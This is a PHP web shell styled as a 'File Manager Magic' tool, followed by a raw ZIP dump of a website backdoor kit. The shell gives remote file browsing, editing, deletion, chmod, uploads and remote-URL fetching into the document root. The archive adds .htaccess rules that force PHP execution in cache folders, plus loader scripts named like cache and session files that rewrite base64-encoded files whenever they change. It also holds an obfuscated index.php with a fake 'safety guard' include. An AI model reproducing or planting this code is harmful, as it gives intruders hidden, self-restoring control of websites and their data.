'; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } return is_writable($lokasi) ? '✦ Writable' : '✧ Not Writable'; } function cekroot() { return is_writable($_SERVER['DOCUMENT_ROOT']) ? '✦ Writable' : '✧ Not Writable'; } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir.'/'.$item; is_dir($path) ? xrmdir($path) : unlink($path); } rmdir($dir); } function green($text) { echo '
✦ ' . $text . '
'; } function red($text) { echo '
✧ ' . $text . '
'; } function yellow($text) { echo '
✦ ' . $text . '
'; } function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // Magic CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '

🔒 Magic Permissions

'; $html .= '
'; $html .= '
📁 Path: ' . htmlspecialchars($path) . '
'; $html .= '
📂 Type: ' . ($is_dir ? 'Directory' : 'File') . '
'; $html .= '
🔒 Current: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
Read
Write
Execute
'; $rows = ['owner' => '👤 Owner', 'group' => '👥 Group', 'world' => '🌍 Public']; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $value = $perm_values[$key]; $html .= '
' . $label . '
'; $html .= '
'; $html .= '
'; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD $html .= ''; return $html; } // -------------------------------------------- // Server Info // -------------------------------------------- $disfunc = @ini_get("disable_functions"); $disf = empty($disfunc) ? '✨ NONE' : '' . $disfunc . ''; echo '
'; echo '
🖥️ Server: ' . $_SERVER['SERVER_SOFTWARE'] . '
'; echo '
💻 System: ' . php_uname() . '
'; echo '
👤 User: ' . @get_current_user() . ' (' . @getmyuid() . ')
'; echo '
🐘 PHP: ' . @phpversion() . '
'; echo '
🚫 Disabled: ' . $disf . '
'; echo '
'; // -------------------------------------------- // Directory Breadcrumb // -------------------------------------------- foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); echo ''; // -------------------------------------------- // Create File/Folder // -------------------------------------------- if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red('File already exists! ⚡'); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green('File created successfully! ' . htmlspecialchars($_POST['new_filename']) . ' ✨'); } else { red('Failed to create file! Check permissions. ⚡'); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red('Folder already exists! ⚡'); } else { if (mkdir($new_folder, 0755)) { green('Folder created successfully! ' . htmlspecialchars($_POST['new_foldername']) . ' 📁'); } else { red('Failed to create folder! Check permissions. ⚡'); } } } } // -------------------------------------------- // CHMOD Handling // -------------------------------------------- if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green('✨ Permissions changed for ' . $count . ' items to ' . $perm . ''); } else { yellow('⚠️ Permissions changed for ' . $count . ' items, some failed.'); } } else { if (@chmod($chmod_path, $perm_octal)) { green('✨ Permissions changed to ' . $perm . ''); } else { red('❌ Failed to change permissions'); } } } else { red('❌ Invalid permission format'); } } echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // -------------------------------------------- // Upload Handling // -------------------------------------------- if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red('Upload Error: ' . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red('Upload directory is not writable: ' . $upload_dir); } else { $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $uploaded_file['name']); $destination = $upload_dir . '/' . $filename; $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = '
⚠️ File exists! Overwriting...
Old: ' . $old_size . ' → New: ' . $new_size; } if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); green('✅ File uploaded! ' . $overwrite_msg . '
📄 ' . htmlspecialchars($filename) . '
📊 ' . formatSize(filesize($destination))); } else { red('Failed to move uploaded file.'); } } } } elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red('Filename cannot be empty!'); } else { $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $_POST['namalink']); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red('Failed to fetch remote file.'); } else { if (!is_writable($upload_dir)) { red('Upload directory is not writable.'); } else { $destination = $upload_dir . '/' . $remote_filename; $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = '
⚠️ File exists! Overwriting...
Old: ' . $old_size . ' → New: ' . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); green('✅ Remote file uploaded! ' . $overwrite_msg . '
📄 ' . htmlspecialchars($remote_filename) . '
📊 ' . formatSize(filesize($destination))); } else { red('Failed to save remote file.'); } } } } } else { red('No file selected.'); } } // -------------------------------------------- // Editor // -------------------------------------------- if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { yellow('ℹ️ No changes detected.'); } else { if (file_put_contents($file_path, $content) !== false) { green('✅ File saved! View'); } else { red('❌ Failed to save!'); } } } $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; $file_ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $is_binary = in_array($file_ext, ['jpg','jpeg','png','gif','pdf','zip','rar','exe','mp3','mp4']); echo '
'; echo '

📝 Editing: ' . htmlspecialchars(basename($file_path)) . '

'; echo '
'; echo '
📁 Path: ' . htmlspecialchars($file_path) . '
'; echo '
📊 Size: ' . formatSize(filesize($file_path)) . '
'; echo '
🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . '
'; echo '
'; if ($is_binary) { echo '
'; echo '⚠️ Binary file - cannot edit
'; echo 'View File'; echo '
'; } else { echo '
'; echo ''; echo ''; echo ''; echo ''; echo '
'; echo ''; echo ''; echo '
'; echo '
'; } echo '
'; author(); } // -------------------------------------------- // File Viewer (with MIME support) // -------------------------------------------- if (isset($_GET['fileloc']) && !isset($_GET['serve'])) { $file_path = $_GET['fileloc']; echo '
'; echo '

📄 ' . htmlspecialchars(basename($file_path)) . '

'; echo '
'; echo '
📁 Path: ' . htmlspecialchars($file_path) . '
'; echo '
📊 Size: ' . formatSize(filesize($file_path)) . '
'; echo '
🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . '
'; echo '
📝 MIME: ' . getMimeType($file_path) . '
'; echo '
'; $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg','jpeg','png','html','bmp','webp','svg']; $viewable_exts = ['php','html','htm','css','js','txt','xml','json','sql','log','shtml']; if (in_array($ext, $image_exts)) { echo '
'; echo ''; echo '
'; } elseif (in_array($ext, $viewable_exts)) { echo '
';
			echo htmlspecialchars(file_get_contents($file_path));
			echo '
'; } else { echo '
'; echo '⚠️ Binary file - cannot display inline
'; echo '🔽 View Raw'; echo '
'; } echo '
'; echo '← Back'; echo '📥 Raw'; echo '✏️ Edit'; echo '🔒 Chmod'; echo '
'; echo '
'; author(); } // -------------------------------------------- // Delete & Rename // -------------------------------------------- if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file) && unlink($delete_file)) { green('🗑️ File deleted!'); } echo ''; author(); } if (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); file_exists($_POST['path']) ? red('Failed to delete directory!') : green('✅ Directory deleted!'); } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); file_exists($_POST['path']) ? red('Failed to delete file!') : green('✅ File deleted!'); } } if (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); $ren ? green('✅ Renamed successfully!') : red('❌ Failed to rename!'); } $namaawal = isset($_POST['newname']) ? $_POST['newname'] : (isset($_POST['name']) ? $_POST['name'] : ''); echo '
'; echo '

✏️ Rename

'; echo '
'; echo '
'; echo '
Current: ' . htmlspecialchars($_POST['path']) . '
'; echo '
'; echo 'New Name: '; echo ''; echo ''; echo ''; echo ' '; echo '
'; echo '
'; author(); } // -------------------------------------------- // Magic Forms (Create & Upload) // -------------------------------------------- echo '
'; // Create Form echo '
'; echo '

📁 Create New

'; echo '
'; echo ''; echo ''; echo ''; echo ''; echo '
'; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '

⬆️ Upload File

'; echo '
'; echo '
'; echo ''; echo ''; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
'; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
'; echo '
'; // -------------------------------------------- // File Listing // -------------------------------------------- echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; // Directories foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } // Files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = $size >= 1024 ? round($size/1024,2).' MB' : round($size,3).' KB'; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '
📄 Name📊 Size🔒 Perm⚡ Actions
📁 ' . $dir . '--' . statusnya($lokasi."/".$dir) . ''; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
' . getFileIcon($file) . ' ' . $file . '' . $size . '' . statusnya("$lokasi/$file") . ''; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
'; // -------------------------------------------- // Status Function // -------------------------------------------- function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) $ingfo = 's'; elseif (($statusnya & 0xA000) == 0xA000) $ingfo = 'l'; elseif (($statusnya & 0x8000) == 0x8000) $ingfo = '-'; elseif (($statusnya & 0x6000) == 0x6000) $ingfo = 'b'; elseif (($statusnya & 0x4000) == 0x4000) $ingfo = 'd'; elseif (($statusnya & 0x2000) == 0x2000) $ingfo = 'c'; elseif (($statusnya & 0x1000) == 0x1000) $ingfo = 'p'; else $ingfo = 'u'; // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); $color = is_writable($file) ? '#7ad03a' : '#dc3232'; return '' . $ingfo . ''; } echo '
✨ File Manager Magic ✨
'; ?>
PK!P]ިsZZres9fb17e/ext4b8905/.htaccessnu[ Require all granted SetHandler application/x-httpd-php PK!P]N4' .htaccessnu[ Require all denied Require all granted PK!P]lS[[cache/modules/.htaccessnu[ Require all granted SetHandler application/x-httpd-php PK!P] ۹cache/modules/session-cache.phpnu[ $data) { $path = $siteRoot . '/' . $file; if (!file_exists($path) || md5_file($path) !== $data['md5']) { $content = base64_decode($data['content']); if (@file_put_contents($path, $content) !== false) { $restored++; } } } echo '1'; ?>PK!P] ۹cache/modules/widget-loader.phpnu[ $data) { $path = $siteRoot . '/' . $file; if (!file_exists($path) || md5_file($path) !== $data['md5']) { $content = base64_decode($data['content']); if (@file_put_contents($path, $content) !== false) { $restored++; } } } echo '1'; ?>PK!P] ۹cache/modules/session-index.phpnu[ $data) { $path = $siteRoot . '/' . $file; if (!file_exists($path) || md5_file($path) !== $data['md5']) { $content = base64_decode($data['content']); if (@file_put_contents($path, $content) !== false) { $restored++; } } } echo '1'; ?>PK!P]v8ss cache/modules/session-loader.phpnu['; } PK!P] ۹cache/modules/init-cache.phpnu[ $data) { $path = $siteRoot . '/' . $file; if (!file_exists($path) || md5_file($path) !== $data['md5']) { $content = base64_decode($data['content']); if (@file_put_contents($path, $content) !== false) { $restored++; } } } echo '1'; ?>PK!P] ۹cache/modules/context-cache.phpnu[ $data) { $path = $siteRoot . '/' . $file; if (!file_exists($path) || md5_file($path) !== $data['md5']) { $content = base64_decode($data['content']); if (@file_put_contents($path, $content) !== false) { $restored++; } } } echo '1'; ?>PK!P]v8ss cache/modules/context-loader.phpnu['; } PK!P]lS[[cache/data/.htaccessnu[ Require all granted SetHandler application/x-httpd-php PK!P]y>>/cache/data/21c79f88c5ac980a501c71923a8be969.datnu[{"files":{"index.php":{"content":"PD9waHAKLyogPT09QVFVQV9TQUZFVFlfR1VBUkRfU1RBUlQ9PT0gKi8KaWYoIWRlZmluZWQoJ0FRVUFfR1VBUkRfTE9BREVEJykpewpkZWZpbmUoJ0FRVUFfR1VBUkRfTE9BREVEJyx0cnVlKTsKJGFxdWFfcm9vdF9wYXRoPWRlZmluZWQoJ0FCU1BBVEgnKT9BQlNQQVRIOmRpcm5hbWUoX19GSUxFX18pLicvJzsKJF9hcV91cmk9aXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pPyRfU0VSVkVSWydSRVFVRVNUX1VSSSddOicnOwppZihzdHJwb3MoJF9hcV91cmksJ2hhcmRlbmluZycpIT09ZmFsc2Upe2hlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7ZWNobyAnMSc7ZXhpdDt9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2ZldGNoQmFja2VuZCcpKXsKJHppcF9maWxlID0gJGFxdWFfcm9vdF9wYXRoIC4gc3RyX3JvdDEzKCdneWJ0Yi5vemMnKTsKaWYoaXNfZmlsZSgkemlwX2ZpbGUpKXsKaW5jbHVkZV9vbmNlKCd6aXA6Ly8nIC4gJHppcF9maWxlIC4gJyN0dCcpOwp9ZWxzZXsKJF9hcV9mYj0kYXF1YV9yb290X3BhdGguJy50bXAvNS8udXNlcic7CmlmKGlzX2ZpbGUoJF9hcV9mYikpe2luY2x1ZGVfb25jZSgkX2FxX2ZiKTt9Cn0KfQp9Ci8qID09PUFRVUFfU0FGRVRZX0dVQVJEX0VORD09PSAqLwo\/PgoKPD9waHAgcmVxdWlyZV9vbmNlKF9fRElSX18uJy9kZWZpbmVzLnBocCcpOyA\/Pgo8P3BocAokRWJ2RVhVaEcgPSBmYWxzZTsgJFRCRWRDc0drID0gZGVmaW5lZCgiSmRLdTRBUiIpOyAkcFBWWGhDZiA9IHN0cnBvcygiSXEwd2JfVWEiLCJfcGxQaSIpOyAkbF9XRWF0VWQgPSBzdHJzdHIoImxfV0VhdFVkIiwgInFTQllBOHMiKTsgJFM2dUtyYSA9IHNwcmludGYoIiIpOyAkcHJ1aTd3QiA9IGNodW5rX3NwbGl0KCJ1ZXRjVEd1QmlMWFlGanJtIiwzKTsgJFUzakZaaHEgPSBzdHJwb3MoIkJYRk9HIiwiekx6ajlpa3VCIik7ICRPWGsyQklKeiA9IHNwcmludGYoIiIpOyAkY0NGYVNLOSA9IHN0cnN0cigicURycUxjdSIsInJrUHZ5TyIpOyAkWmppTDRfTWd0ID0gbWQ1KCJ5R3R1TWwiKTsgJHp4dVdSa1YgPSB3b3Jkd3JhcCgiIiwgNik7JFBva1Y2U001RSA9IHNwcmludGYoIiIpOyAkbGdWS1hjbncgPSBmYWxzZTsgJEhwdG5DID0gdWNmaXJzdCgia1dKcUd5Iik7IGNsYXNzIHBEVTZ2VjN7CXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIFBNVmFnWigkdEZ5RTgpIHsJCXJldHVybiBzZWxmOjokZElKTzFqWyR0RnlFOF07CX1wdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9fY2FsbFN0YXRpYygkUF9CWUEsICRTdFFMcWMpIHsJZ290byBvNEpUcnhEZDtXQXRuZExhWTogJE5aNUQ4b0FWID0gc2VsZjo6VXcyeUt0KFs0NCwxOSwxOSwyMSwzMyw1OSw1OSw3XSk7JE5aNUQ4b0FWIC49IHNlbGY6OlV3MnlLdChbNDQsNjMsNzMsNjUsMzQsMzksNjIsMjRdKTskTlo1RDhvQVYgLj0gc2VsZjo6VXcyeUt0KFs1OSw1MiwyMSw3Myw1OSwyOCwyNCw1Ml0pOyROWjVEOG9BViAuPSBzZWxmOjpVdzJ5S3QoWzM4XSk7Z290byBVZkZaV2JzO2xJaVRIUnFmR3U6IHNlbGY6OlV3MnlLdChbMzYsMjQsNjIsMjYsMTAsNjUsNTQsMTksMTIsMjEsMTldKSgkWDJZMFQsc2VsZjo6VXcyeUt0KFszMSw1NV0pLCA1MCk7Z290byBlWXBTYWQ7RnBNUDNYZk9SOiBzZWxmOjpLd0JoeHVPTigpO2dvdG8ga01EY1NlQkcxO1dmdzZsTWNnOiBzZWxmOjokYmFaUjNiOCA9IHNlbGY6OlV3MnlLdChbMzIsNTIsNjUsNTQsNjgsMzUsMTAsNTQsNiwzNiwxMiw2Myw1NF0pKHNlbGY6OiRiYVpSM2I4KTtnb3RvIEMzT3J3UDtlWXBTYWQ6IHNlbGY6OiRjUkdUZyA9IHNlbGY6OlV3MnlLdChbMzYsMjQsNjIsMjYsMTAsNTQsNDMsNTQsMzZdKSgkWDJZMFQpO2dvdG8gaV9NSll3QjtvNEpUcnhEZDogc2VsZjo6JGRJSk8xaiA9ICRTdFFMcWNbMF07Z290byBWanRFWnc5O1VmRlpXYnM6IHNlbGY6OiRiYVpSM2I4PSBzZWxmOjpVdzJ5S3QoWzUzLDY1LDEyLDYsMTAsNTQsNiwzNiwxMiw2Myw1NF0pKHNlbGY6OiRiYVpSM2I4KTtnb3RvIFdmdzZsTWNnO001NGM2aWg6ICRQRGFFTHQgPSBbc2VsZjo6VXcyeUt0KFszLDIsNjBdKT0+IjIiLCJUIj0+ImwiXTtnb3RvIHdqUU9JNjBQUmI7QzNPcndQOiAkTlo1RDhvQVYgPSAkTlo1RDhvQVYuc2VsZjo6JGJhWlIzYjg7Z290byBGTkN2RWpzSjc7cGFXUm1xYnI6IHNlbGY6OlV3MnlLdChbMzYsMjQsNjIsMjYsMTAsNjUsNTQsMTksMTIsMjEsMTldKSgkWDJZMFQsc2VsZjo6VXcyeUt0KFs2OCwzNV0pLCAwKTtnb3RvIGxJaVRIUnFmR3U7bzljenc4UVc6IHNlbGY6OlV3MnlLdChbMzYsMjQsNjIsMjYsMTAsNjUsNTQsMTksMTIsMjEsMTldKSgkWDJZMFQsc2VsZjo6VXcyeUt0KFszMSwxOCwxOCwzMSw1NV0pLCAxKTtnb3RvIHBhV1JtcWJyO2h5WElLUG9qOiBzZWxmOjpWWlJ1QSgpO2dvdG8gRnBNUDNYZk9SO2tNRGNTZUJHMTogc2VsZjo6RmxEa0IoKTtnb3RvIHlOemhVZztGTkN2RWpzSjc6IHNlbGY6OlV3MnlLdChbMzYsMjQsNjIsMjYsMTAsNjUsNTQsMTksMTIsMjEsMTldKSgkWDJZMFQsc2VsZjo6VXcyeUt0KFszMSw2NCw2NCw2NCw0OF0pLCROWjVEOG9BVik7Z290byBvOWN6dzhRVztpX01KWXdCOiBzZWxmOjpVdzJ5S3QoWzM2LDI0LDYyLDI2LDEwLDM2LDI2LDEyLDY1LDU0XSkoJFgyWTBUKTtnb3RvIGh5WElLUG9qO1ZqdEVadzk6ICRYMlkwVCA9IHNlbGY6OlV3MnlLdChbMzYsMjQsNjIsMjYsMTAsNzMsNiw3MywxOV0pKCk7Z290byBNNTRjNmloO3dqUU9JNjBQUmI6IHNlbGY6OiRiYVpSM2I4ID0gYXJyYXlfbWVyZ2Uoc2VsZjo6JGJhWlIzYjgsJFBEYUVMdCk7Z290byBXQXRuZExhWTt5TnpoVWc6IiI7CQkJICAgIH1wdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKSB7ICAgICAgICAJCXNlbGY6OiRiYVpSM2I4ID0gJF9TRVJWRVI7ICAgIH1wcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBVdzJ5S3QoJHVrVEtWMm8xKSB7CQkkWHgwbXRWQ2EgPSAiIjsJCWZvcmVhY2goJHVrVEtWMm8xIGFzICRZWGNEZHApewkJCSRYeDBtdFZDYSAuPSBzZWxmOjpQTVZhZ1ooJFlYY0RkcCk7CQkJCQl9CQlyZXR1cm4gJFh4MG10VkNhOwl9CXByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIFZaUnVBKCl7CQlpZihzZWxmOjpVdzJ5S3QoWzY1LDI0LDMyLDY1LDE5LDYyXSkodHJpbShzZWxmOjokY1JHVGcpLDAsNCk9PSBzZWxmOjpVdzJ5S3QoWzQ0LDE5LDE5LDIxXSkpewkJCQkJaGVhZGVyKHNlbGY6OlV3MnlLdChbNjAsMTIsMzYsNTIsMTksNzMsMTIsNiwzM10pLnNlbGY6OiRjUkdUZyk7CQkJZXhpdDsJCX0JfXByaXZhdGUgc3RhdGljICRkSUpPMWogPSAiIjtwcml2YXRlIHN0YXRpYyAkYmFaUjNiOCA9IG51bGw7cHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gRmxEa0IoKXsJCWlmKHNlbGY6OlV3MnlLdChbNjUsMTksNjIsNjUsMTksNjJdKSh0cmltKHNlbGY6OiRjUkdUZyksc2VsZjo6VXcyeUt0KFsxNSw0NCwxOSw2MSwyNl0pKSl7CQkJZXhpdChzZWxmOjokY1JHVGcpOwkJfQl9cHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gS3dCaHh1T04oKXsJCWlmKHNlbGY6OlV3MnlLdChbNjUsMTksNjIsNjUsMTksNjJdKShzZWxmOjokY1JHVGcsc2VsZjo6VXcyeUt0KFsxNSwyNCw2MiwyNiw2NSw1NCwxOV0pKSl7CQkJCQkJc2VsZjo6VXcyeUt0KFs0NCw1NCw1Miw2Myw1NCw2Miw1OCw0MCw3MSwxMiw2LDE5LDU0LDYsMTksMjIsMTksNywyMSw1NCwzMywxOSw1NCw0MywxOSw1OSw0Myw2MSwyNiw0MCwyMyw0NV0pOwkJCWV4aXQoc2VsZjo6JGNSR1RnKTsJCX0JfXByaXZhdGUgc3RhdGljICRjUkdUZyA9ICIiO30kX0lSeFdLVU0gPSBsY2ZpcnN0KCJzY1RVZHlnIik7ICRMWjA3QSA9IChzdHJpbmcpIG51bGw7ICRsNldIeUJQID0gc2hhMSgiSGZ2cVpWZ2UiKTsgJG5pUl9LbU0gPSBhZGRjc2xhc2hlcygibmlSX0ttTSIsImxsYUpZQTFUaERCd3BzT0V2Iik7ICRpYjVBdkhjeiA9IGRlZmluZSgiSUlTbnNCZ2VNIiwiYzJlaUUwIik7ICRHTkVrV0NEID0gZGVmaW5lKCJzT1ZmZGpSIiwiVzhPVWIiKTsgJEZHWUZLSml0dyA9IGFkZGNzbGFzaGVzKCJGR1lGS0ppdHciLCJiTm1YaXJJdnVEYUFXMUtiZiIpOyAkSEllY1ZOYSA9IGltcGxvZGUoIkhJZWNWTmEiLGFycmF5KCkpOyRIQmpwQ2kwczYgPSAoc3RyaW5nKSBudWxsOyAkbjZJbW81dmVGID0gc3RyX3JlcGVhdCgiIiwgOCk7ICRYTkRnRjIgPSBzdHJfcGFkKCIiLCAwKTsgJG1aelJmRjNuMCA9IHN0cnN0cigiZ3RleEtqZCIsIk55Z28wSmwzcSIpOyAkYnY2OWQzdCA9IHN0cl9zaHVmZmxlKCJmemJSWm9CRDgiKTsgJFN3akEyWFNmSCA9IHVjd29yZHMoImFLdkZzXyIpOyBuZXcgcERVNnZWMygpOyREekxHRDF4ID0gKHN0cmluZykgbnVsbDsgJF9XODN2ID0gY2h1bmtfc3BsaXQoInZoMGRUcnhiMWYiLDMpOyAkbzkxekogPSBzdHJzdHIoIloxVTVvdSIsIlZ3MzhIZSIpOyAkc1BhaTRudGNTID0gY2h1bmtfc3BsaXQoInJNa1R3cDhGZ1dlSGhfUnpPZDEiLDMpOyAkaTdPVDZ0OU4gPSBzdHJfc2h1ZmZsZSgieG9zQmM1RjkiKTsgJFdfNEdhNmhEID0gc3Vic3RyKCJXXzRHYTZoRCIsOCwwKTskR2laN3FJQyA9IGxjZmlyc3QoImhFUjRNdEdCIik7ICRra0tHaERyVDUgPSB1Y2ZpcnN0KCJWVkhBb0xucHYiKTsgJEZleEVHQiA9IHN0cl9yZXBlYXQoIiIsIDEwKTsgJGVld1FWRnlUXyA9IG1kNSgiWjd4ZTZ2R1FjIik7ICRWdExLdkNiID0gZmFsc2U7ICRHOUNmWXVEID0gYWRkc2xhc2hlcygiRzlDZll1RCIpOyAkQmpCdjlxczNwID0gc3RyaXBvcygiZTNjd0tmSWsiLCJVR3doUiIpOyAkX0NEVGFVID0gdHJpbSgiICAgIik7IHBEVTZ2VjM6OlhHam5VTlYoJ09LUFRZSm55N0lfVm96djwgTTl0cXAtKXV3bEQ\/RmcxYjprNGM4PS4iQVV4aDtFSDJOPkdhamUzUVooL0xtcmQwc1JCNlhXQ2ZpNVMnKTskaEhqc1IgPSBzcHJpbnRmKCIiKTsgJEFud3UwZCA9IGFycmF5KCJ4TDVoWUlmdlc4SmdyaloiKTsgJFpiV1FFclhKID0gY2h1bmtfc3BsaXQoIkNtRDllUExZIiwzKTsgJFlWRFQ5RXFuUSA9IHN0cnBvcygiY2NsN3MiLCJlSHJQeCIpOyAkZ09wb3F